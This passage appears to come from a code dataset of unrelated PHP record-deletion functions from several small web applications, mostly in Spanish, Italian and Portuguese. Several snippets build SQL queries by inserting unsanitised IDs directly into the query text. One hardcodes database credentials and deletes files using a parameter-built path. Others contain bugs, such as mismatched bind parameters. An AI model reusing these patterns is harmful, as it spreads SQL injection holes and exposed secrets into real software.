$this->dbh->prepare($sql5);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($roww = $stmt->fetch())\n {\n $pw[] = $roww;\n }\n $importeivano = ($roww[\"importe\"]== \"\" ? \"0\" : $roww[\"importe\"]);\n\n if(base64_decode($_GET[\"ivaproductoc\"])==\"SI\"){\t\n\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivasic = ?, \"\n\t\t\t .\" totalivac = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaliva);\n\t\t$stmt->bindParam(3, $totaldescuentoc);\n\t\t$stmt->bindParam(4, $total);\n\t\t$stmt->bindParam(5, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivasi);\n $totaliva= rount($subtotal*$iva,2);\n\t\t$tot= rount($subtotal+$subtotalivanoc+$totaliva,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\n\t\t\n\t\t } else {\n\t\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivanoc = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaldescuentoc);\n\t\t$stmt->bindParam(3, $total);\n\t\t$stmt->bindParam(4, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivano);\n\t\t$tot= rount($subtotal+$subtotalivasic+$totalivac,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\t\t\n\t\t }\t\t\t\t\t\n\n\t\theader(\"Location: detallescompras?mesage=2\");\n\t\texit;\n\n\t\t}\n\t\telse\n\t\t{\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from compras where codcompra = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$codcompra = base64_decode($_GET[\"codcompra\"]);\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t\theader(\"Location: detallescompras?mesage=2\");\n\t\t\texit;\n\t\t}\n\t}\n\telse\n\t{\n\t\theader(\"Location: detallescompras?mesage=3\");\n\t\texit;\n\t}\n}", "function Eliminar()\n{\n /**\n * Se crea una instanica a Concesion\n */\n $Concesion = new Titulo();\n /**\n * Se coloca el Id del acuifero a eliminar por medio del metodo SET\n */\n $Concesion->setId_titulo(filter_input(INPUT_GET, \"ID\"));\n /**\n * Se manda a llamar a la funcion de eliminar.\n */\n echo $Concesion->delete();\n}", "function opcion__eliminar()\n\t{\n\t\t$id_proyecto = $this->get_id_proyecto_actual();\n\t\tif ( $id_proyecto == 'toba' ) {\n\t\t\tthrow new toba_error(\"No es posible eliminar el proyecto 'toba'\");\n\t\t}\n\t\ttry {\n\t\t\t$p = $this->get_proyecto();\n\t\t\tif ( $this->consola->dialogo_simple(\"Desea ELIMINAR los metadatos y DESVINCULAR el proyecto '\"\n\t\t\t\t\t.$id_proyecto.\"' de la instancia '\"\n\t\t\t\t\t.$this->get_id_instancia_actual().\"'\") ) {\n\t\t\t\t$p->eliminar_autonomo();\n\t\t\t}\n\t\t} catch (toba_error $e) {\n\t\t\t$this->consola->error($e->__toString());\n\t\t}\n\t\t$this->get_instancia()->desvincular_proyecto( $id_proyecto );\n\t}", "public function eliminar(){\n $dimensiones = $this->descripciones()->distinct()->get()->pluck('id')->all();\n $this->descripciones()->detach($dimensiones);\n DescripcionProducto::destroy($dimensiones);\n $this->categorias()->detach();\n $this->imagenes()->delete();\n $this->delete();\n }", "function removePacote($campos){\n\t\t\t$listDel = $campos['InputDelPacote'];\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($listDel)){\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<sizeof($listDel);$i++){\n\t\t\t\t\t\tif($listDel[$i] != 0){\n\t\t\t\t\t\t\t\t$sql = \" DELETE FROM vekttor_venda_pacote WHERE pacotes_id = '$listDel[$i]' AND vekttor_venda_id = '$campos[venda_id]'\";\n\t\t\t\t\t\t\t\t//echo $sql;\n\t\t\t\t\t\t\t\tmysql_query($sql);\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t/*Seleciona os pacote para trazer os modulos */\n\t\t\t\t\t$sqlPacote = mysql_query($tn=\" SELECT * FROM pacote_item WHERE pacote_id = '$listDel[$i]' \");\n\t\t\t\t\t\twhile($pct=mysql_fetch_object($sqlPacote)){\n\t\t\t\t\t\t\t\t$modulos[] = $pct->sis_modulo_id;\n\t\t\t\t\t\t}\n\t\t\t\t} /*Fim de For*/\n\t\t\t\t\n\t\t\t\t\tfor($j=0;$j<sizeof($modulos);$j++){\n\t\t\t\t\t\t\t$sqlModulos = \" DELETE FROM usuario_tipo_modulo WHERE modulo_id = '$modulos[$j]' AND usuario_tipo_id = '$campos[id_usuario_tipo]'\";\n\t\t\t\t\t\t\tmysql_query($sqlModulos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n}", "public function eliminarderivoAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloDerivotemporal->eliminar($id, $this->_usuario);\n\t\t\t\t\t\n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n\t\t\t\t\n\t\t} catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "public function deletaCliente($id) {\n }", "function eliminaDaDB($ID_cliente, $ID_ordine, $ID_foto) {\n $servername = \"localhost\";\n $username = \"onlinesales\";\n $password = \"Sale0nl1nE\";\n $dbname = \"fmc-db-onlinesales\";\n\n // Create connection\n $conn = new mysqli($servername, $username, $password, $dbname);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n $query1 = \"DELETE FROM `Ordine` WHERE `ID_cliente` = '$ID_cliente' AND `ID_ordine` = '$ID_ordine'\";\n $query2 = \"DELETE FROM `Cliente` WHERE `ID_cliente` = '$ID_cliente'\";\n $query3 = \"DELETE FROM `Foto` WHERE `ID_cliente` = '$ID_cliente'\";\n \n unlink(\"../Pagina_iniziale/images/\".$ID_foto);\n eseguiQuery($conn, $query1);\n eseguiQuery($conn, $query2);\n eseguiQuery($conn, $query3);\n // chiusura della connessione\n \n $conn->close();\n }", "public function eliminaPedido($codpedido) {\n $sql = \"SELECT elementoPedido_elementoPedido_id\n FROM tieneElemento\n WHERE pedido_pedido_id = $codpedido\";\n $result = $this->bd->query($sql);\n $numfilas = $result->num_rows;\n /* Elimino las asociaciones del pedido con sus elementos */\n $sql2 = \"DELETE FROM tieneElemento\n WHERE pedido_pedido_id = $codpedido\";\n $result2 = $this->bd->query($sql2);\n /* Elimino los elementos del pedido, con sus elementos de cola y asociaciones */\n for($i=0; $i<$numfilas ; $i++) {\n $row = $result->fetch_assoc();\n $cod = $row[\"elementoPedido_elementoPedido_id\"];\n $sql3 = \"DELETE FROM asociaPlato\n WHERE elementoColaCocina_elementoPedido_elementoPedido_id = $cod\";\n $sql4 = \"DELETE FROM asociaBebida\n WHERE elementoColaBar_elementoPedido_elementoPedido_id = $cod\";\n $sql5 = \"DELETE FROM elementoColaCocina\n WHERE elementoPedido_elementoPedido_id = $cod\";\n $sql6 = \"DELETE FROM elementoColaBar\n WHERE elementoPedido_elementoPedido_id = $cod\";\n $sql7 = \"DELETE FROM elementoPedido\n WHERE elementoPedido_id = $cod\";\n $result3 = $this->bd->query($sql3);\n $result4 = $this->bd->query($sql4);\n $result5 = $this->bd->query($sql5);\n $result6 = $this->bd->query($sql6);\n $result7 = $this->bd->query($sql7);\n }\n /* Elimino el pedido y */\n $sql8 = \"DELETE FROM facturaPedido\n WHERE pedido_pedido_id = $codpedido\";\n// $sql9 = \"DELETE FROM pedido\n// WHERE pedido_id = $codpedido\";\n\n $result8 = $this->bd->query($sql8);\n// $result9 = $this->bd->query($sql9);\n }", "public function borrarArticulo($articulo){\r\n\t\t\tparent::$log->debug(\"Borrar $articulo de la cesta\");\r\n\t\t\t$cesta = new ArrayObject($this->listArticulos);\r\n\t\t\t$iterador = $cesta->getIterator();\r\n\t\t\twhile($iterador->valid()){\r\n\t\t\t\tif (strtolower($iterador->current()->id) == $articulo){\r\n\t\t\t\t\tunset($this->listArticulos[$iterador->key()]);\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t\t$iterador->next();\r\n\t\t\t}\r\n\t\t}", "function EliminarMascotas($nombres, $primer_apellido, $segundo_apellido, $fehca_nacimiento, $lugar_nacimiento, $iddepartamento, $idmunicipio, $telefono_casa, $celular, $direccion, $foto){\n $conexion = Conectar();\n $sql = \"DELETE FROM padrinos WHERE id=:id\";\n $statement = $conexion->prepare($sql);\n $statement->bindParam(':idpadrinos', $idpadrinos);\n $statement->execute();\n $statement->setFetchMode(PDO::FETCH_ASSOC);\n $res=$statement->fetchAll();\n return $res;\n}", "public static function odstraniArtikelIzKosarice() {\n $id = $_SESSION[\"uporabnik_id\"];\n $uporabnik = UporabnikiDB::get($id);\n\n $id_artikla = filter_input(INPUT_POST, \"id\", FILTER_SANITIZE_SPECIAL_CHARS);\n $status = \"kosarica\";\n\n $narocilo = NarocilaDB::getByUporabnikId($id, $status);\n $podrobnost_narocila = PodrobnostiNarocilaDB::getByNarociloAndArtikel($narocilo[\"id\"], $id_artikla);\n\n\n if (PodrobnostiNarocilaDB::delete($podrobnost_narocila[\"id_podrobnosti_narocila\"])) {\n echo ViewHelper::redirect(BASE_URL . \"kosarica\");\n } else {\n echo(\"Napaka\");\n }\n }", "function rimuoviCliente($id_cliente){\nif(trovaCliente($id_cliente)){\n mysql_query(\"DELETE utente,sensore,rilevazione FROM utente\nINNER JOIN sensore ON `utente`.`id_cliente` = `sensore`.`id_clienteFK`\nINNER JOIN rilevazione ON `sensore`.`id_sensore` = `rilevazione`.`id_sensoreFK`\nWHERE id_cliente = '\".$id_cliente.\"' \");\n\nreturn true;\n}\n\nelse {\nreturn false;\n}\n}", "function eliminarClientes($idCliente){\n\t\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"DELETE FROM users WHERE id = $idCliente;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'CUD');\n\t\t\treturn $rst;\n\t\t}", "public function Excluir(){\n $idMotorista = $_GET['id'];\n\n $motorista = new Motorista();\n\n $motorista->id = $idMotorista;\n\n $motorista::Delete($motorista);\n\n\n }", "function eliminarImagenServidor($campo, $tabla, $idAsignacion)\n {\n $data=$this->analisisRiesgo->getNombreImagen($campo, $tabla, $idAsignacion);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagen($borrar, $tabla, $idAsignacion);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "function elimina_vetrina()\n {\n $peer = new VetrinaPeer();\n $do = $peer->find_by_id(Params::get(\"id_vetrina\"));\n $peer->delete($do);\n\n $peer2 = new ProdottoServizioVetrinaPeer();\n $peer2->id_vetrina__EQUAL(Params::get(\"id_vetrina\"));\n $elenco_prodotti_servizi = $peer2->find();\n foreach ($elenco_prodotti_servizi as $ps)\n $peer2->delete($ps);\n\n if (is_html())\n return Redirect::success();\n else\n return Result::ok();\n }", "public function Eliminar(){\n \n \n if (!$this->model->igualar($_REQUEST['id'])) {//si una categoria no esta asignada la puede eliminar\n \n $this->model->Eliminar($_REQUEST['id']);\n header('Location: ?c=Categoria'); \n }\n else{\n \n header('Location: ?c=Categoria&error'); //de lo contrario no se podra eliminar asta que se elimine el cliente que la tiene\n }\n\n\n\n \n \n \n\n\n\n\n \n \n \n }", "public function excluir(){\r\n\t\t$instancia = ServicoDAO::getInstancia();\r\n\t\t// executando o metodo //\r\n\t\t$servico = $instancia->excluir($this->getId());\r\n\t\t// retornando o resultado //\r\n\t\treturn $servico;\r\n\t}", "public static function deletar_animal_cliente(int $cliente_code): array{\r\n $db = new db_connect;\r\n // Puxando a tabela pet da classe db_connect;\r\n $tbl_pet = $db->tbl_pet;\r\n\r\n\r\n try {\r\n $stmt = $db->conn->prepare(\"DELETE FROM $tbl_pet WHERE COD_CLIENTE = :cliente_cod\");\r\n $stmt->bindParam(':cliente_cod', $cliente_code, \\PDO::PARAM_INT);\r\n $stmt->execute();\r\n\r\n $result['status'] = true;\r\n $result['message'] = \"Animal excludo com sucesso\";\r\n } catch (\\PDOException $e) {\r\n\r\n $result['status'] = false;\r\n $result['message'] = \"Error: \" . $e->getMessage();\r\n } \r\n\r\n return $result;\r\n\r\n }", "public function deleteByid(Request $req , Response $res , $args)\n{\n //$pizzaid = $this->em->find('App\\Model\\Categorias' , $args['id']);\n\n $categorias = $this->em->find('App\\Model\\Categorias' , $args['id']);\n \n\n foreach ($categorias->getPizza() as $key => $value) {\n echo $value->getValorM().\"<br>\";\n echo $value->getId().\"<br>\";\n\n if($value->getId() == 113){ // a varialvel get com id pizza\n \n $pizza = $this->em->find('App\\Model\\Pizza', 113);\n $this->em->remove($pizza);\n $this->em->flush();\n\n }\n }\n\n\n // $directory = $this->container->get('upload_directory');\n // unlink($directory . $pizza->getUrlimg());\n\n //echo \"<p class='red text-darken-1'>Item excluido com sucesso</p>\";\n\n\n}", "function eliminarRelacionProceso(){\n $this->objFunc=$this->create('MODObligacionPago');\n $this->res=$this->objFunc->eliminarRelacionProceso($this->objParam);\n $this->res->imprimirRespuesta($this->res->generarJson());\n }", "public function eliminarCliente($id) {\n $consultaExistenciacliente = $this->db->select(\"SELECT * FROM cliente \"\n . \"WHERE id = '\" . $id . \"' \");\n\n if ($consultaExistenciacliente != null) {\n $this->db->delete('cliente', \"`id` = '{$id}'\");\n } else {\n //Sino Inserto datos de Pre-Matricula del Estudiante\n echo 'Error...</br>Ya existe un cliente con ese ID';\n die;\n }\n }", "public function deleting(Seguimiento $Seguimiento){\n \n }", "public function eliminarDatosAction(Request $request)\n {\n //denegamos el acceso a eliminar a los investigadores\n if ($this->get('security.context')->isGranted('ROLE_ADMIN')){\n $admin=true;}\n else{\n $admin=false;\n }\n \n //obtenemos los datos de esta parte\n $datosForm = $request->request->all();\n if(count($datosForm)){\n $idEstudio = array_shift($datosForm);\n $em = $this->getDoctrine()->getManager();\n $estudio = $em->getRepository('proyectobackendBundle:Estudio')->find($idEstudio);\n $partes = $estudio->getPartesEstudio();\n $idsParticipante = array();\n \n foreach($partes as $parte){\n $preguntas = $parte->getPreguntas();\n foreach($preguntas as $pregunta){\n $subpreguntas = $pregunta->getSubpreguntas();\n foreach($subpreguntas as $subpregunta){\n $respuestas = $em->getRepository('proyectobackendBundle:Respuesta')->findBy(array('idSubpregunta' => $subpregunta->getId()));\n foreach($respuestas as $respuesta){\n if(!in_array($respuesta->getIdParticipante(), $idsParticipante)){\n array_push($idsParticipante, $respuesta->getIdParticipante());\n }\n }\n \n }\n }\n }\n \n foreach($idsParticipante as $id){\n $entity = $em->getRepository('proyectobackendBundle:Participante')->find($id);\n $em->remove($entity);\n \n }\n $em->flush();\n }\n\n if (!$estudio) {\n throw $this->createNotFoundException('Unable to find Estudio entity.');\n }\n\n $deleteForm = $this->createDeleteForm($idEstudio);\n\n $partes = $estudio->getPartesEstudio();\n $arraypartes = array();\n foreach ($partes as $parte){\n array_push($arraypartes, $parte->getNombre());\n }\n \n return $this->render('proyectobackendBundle:Estudio:show.html.twig', array(\n 'admin' => $admin,\n 'entity' => $estudio,\n 'delete_form' => $deleteForm->createView(),\n 'partes' => $arraypartes,\n 'alertDatosEliminados' => 1,\n ));\n }", "function runEliminar(){\n \n $sql = \"DELETE FROM mec_met WHERE id_mecanismos IN (SELECT id_mecanismos FROM mecanismos WHERE id_componente=\".$this->_datos.\")\";\n $this->QuerySql($sql);\n $sql = \"DELETE FROM mecanismos WHERE id_componente=\".$this->_datos;\n $this->QuerySql($sql);\n $sql = \"DELETE FROM componentes WHERE id_componentes=\".$this->_datos;\n $_respuesta = array('Codigo' => 0, \"Mensaje\" => '<strong> OK: </strong> El registro se ha eliminado.');\n try { \n $this->QuerySql($sql);\n }\n catch (exception $e) {\n $_respuesta = array('Codigo' => 99, \"Mensaje\" => $e->getMessage());\n }\n \n print_r(json_encode($_respuesta));\n }", "public function eliminarAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloMovimiento->eliminar($id, $this->_usuario);\n \n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n \n \n } catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "public function EliminarIngredientesProductos()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t$sql = \" delete from productosvsingredientes where codproducto = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codproducto);\n\t\t$stmt->bindParam(2,$codingrediente);\n\t\t$codproducto = base64_decode($_GET[\"codproducto\"]);\n\t\t$codingrediente = base64_decode($_GET[\"codingrediente\"]);\n\t\t$stmt->execute();\n\n\t\techo \"<div class='alert alert-info'>\";\n\t\techo \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\n\t\techo \"<center><span class='fa fa-check-square-o'></span> EL INGREDIENTE FUE ELIMINADO EXITOSAMENTE </center>\";\n\t\techo \"</div>\"; \n\t\texit;\n\n\t} else {\n\n\t\techo \"<div class='alert alert-info'>\";\n\t\techo \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\n\t\techo \"<center><span class='fa fa-check-square-o'></span> USTED NO PUEDE ELIMINAR INGREDIENTES AGREGADOS, NO ERES EL ADMINISTRADOR DEL SISTEMA </center>\";\n\t\techo \"</div>\"; \n\t\texit;\n\t}\n\n}", "public function deleteSeguimientos(Request $request){\n $this->validate($request,['id' => 'required']);\n $id = $request->input('id');\n $seguimiento = Seguimiento::where('paciente_id',$id)->get()->toArray();\n foreach($seguimiento as $seg){\n $file = storage_path('recursos/seguimientos/'.$seg['foto']);\n unlink($file);\n }\n\n DB::table('seguimientos')->where('paciente_id',$id)->delete();\n\n return response()->json([\n 'status' => 'ok',\n 'code' => 200,\n 'result' => 'Se elimino el seguimiento'\n ],200)\n ->header('Access-Control-Allow-Origin','*')\n ->header('Content-Type', 'application/json');\n\n }", "function eliminarImagenCarpeta($campo, $tabla, $idAsignacion, $carpeta)\n {\n $data=$this->analisisRiesgo->getNombreImagen($campo, $tabla, $idAsignacion);\n //Delete el nombre de la imagen de la base de datos\n $borrar=Array($campo => null);\n $this->analisisRiesgo->deleteImagen($borrar, $tabla, $idAsignacion);\n //Unlink el nombre de la imagen del servidor\n foreach($data as $row)\n {\n $nombreImagen=$row[$campo];\n unlink(\"assets/img/fotoAnalisisRiesgo/$carpeta/$nombreImagen\");\n echo \"OK\";\n }\n\n }", "public function EliminarDetallesVentas()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\tself::SetNames();\n\n\t\t$sql = \" select * from detalleventas where codventa = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(strip_tags($_GET[\"codventa\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 1)\n\t\t{\n\n\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t$stmt = $this->dbh->prepare($sql2);\n\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t$num = $stmt->rowCount();\n\n\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t$existenciadb = $p[0][\"existencia\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t$sql = \" update productos set \"\n\t.\" existencia = ? \"\n\t.\" where \"\n\t.\" codproducto = ?;\n\t\";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->bindParam(1, $existencia);\n\t$stmt->bindParam(2, $codproducto);\n\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t$existencia = $existenciadb + $cantventa;\n\t$stmt->execute();\n\n\t$sql = \" delete from detalleventas where coddetalleventa = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->bindParam(1,$coddetalleventa);\n\t$coddetalleventa = base64_decode($_GET[\"coddetalleventa\"]);\n\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->bindParam(1,$codventa);\n\t$stmt->bindParam(2,$codproducto);\n\t$codventa = strip_tags(strip_tags($_GET[\"codventa\"]));\n\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t$stmt->execute();\n\n################## CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS #################\n$sql = \"select * from productosvsingredientes where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array($codproducto));\n\t\t$num = $stmt->rowCount();\n if($num>0) {\n\n$sql = \"select * from productosvsingredientes LEFT JOIN ingredientes ON productosvsingredientes.codingrediente = ingredientes.codingrediente where productosvsingredientes.codproducto = '\".$codproducto.\"'\";\n\n\t$array=array();\n\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t$this->p[] = $row;\n\n\t\t$codproducto = $row['codproducto'];\n\t\t$codingrediente = $row['codingrediente'];\n\t\t$cantracion = $row['cantracion'];\n\t\t$cantingrediente = $row['cantingrediente'];\n\t\t$costoingrediente = $row['costoingrediente'];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codproducto = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codventa);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$stmt->bindParam(3,$codingrediente);\n\t\t$codventa = strip_tags(strip_tags($_GET[\"codventa\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$codingrediente = strip_tags($codingrediente);\n\t\t$stmt->execute();\n\n\t\t$update = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($update);\n\t\t$stmt->bindParam(1, $cantidadracion);\n\t\t$stmt->bindParam(2, $codingrediente);\n\n\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t$racion = rount($cantracion*$cantventa,2);\n\t\t$cantidadracion = rount($cantingrediente+$racion,2);\n\t\t$stmt->execute();\n\n\t\t }\n}\n############ FIN DE CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS REGISTRADOS ##############\n\n\t$sql4 = \"select * from ventas where codventa = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(strip_tags($_GET[\"codventa\"])) );\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$paea[] = $row;\n\t\t}\n\t\t$subtotalivasive = $paea[0][\"subtotalivasive\"];\n\t\t$subtotalivanove = $paea[0][\"subtotalivanove\"];\n\t\t$iva = $paea[0][\"ivave\"]/100;\n\t\t$descuento = $paea[0][\"descuentove\"]/100;\n\t\t$totalivave = $paea[0][\"totalivave\"];\n\t\t$totaldescuentove = $paea[0][\"totaldescuentove\"];\n\t\t$totaldb = $paea[0][\"totalpago\"];\n\t\t$montopagado = $paea[0][\"montopagado\"];\n\t\t\t\n\t\t\n$sql3 = \"select sum(importe) as importe, sum(importe2) as importe2, sum(preciocompra) as preciocompra from detalleventas where codventa = ? and ivaproducto = 'SI'\";\n\t\t$stmt = $this->dbh->prepare($sql3);\n\t\t$stmt->execute( array(strip_tags($_GET[\"codventa\"])));\n\t\t$num = $stmt->rowCount();\n\t\t \n\t\t if($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$pae[] = $row;\n\t\t\t}\n\t\t$preciocompraiva = ($pae[0][\"preciocompra\"]== \"\" ? \"0\" : $pae[0][\"preciocompra\"]);\n\t\t$importeivasi = ($pae[0][\"importe\"]== \"\" ? \"0\" : $pae[0][\"importe\"]);\n\t\t$importe2si = ($pae[0][\"importe2\"]== \"\" ? \"0\" : $pae[0][\"importe2\"]);\n\t\n$sql5 = \"select sum(importe) as importe, sum(importe2) as importe2, sum(preciocompra) as preciocompra from detalleventas where codventa = ? and ivaproducto = 'NO'\";\n\t\t$stmt = 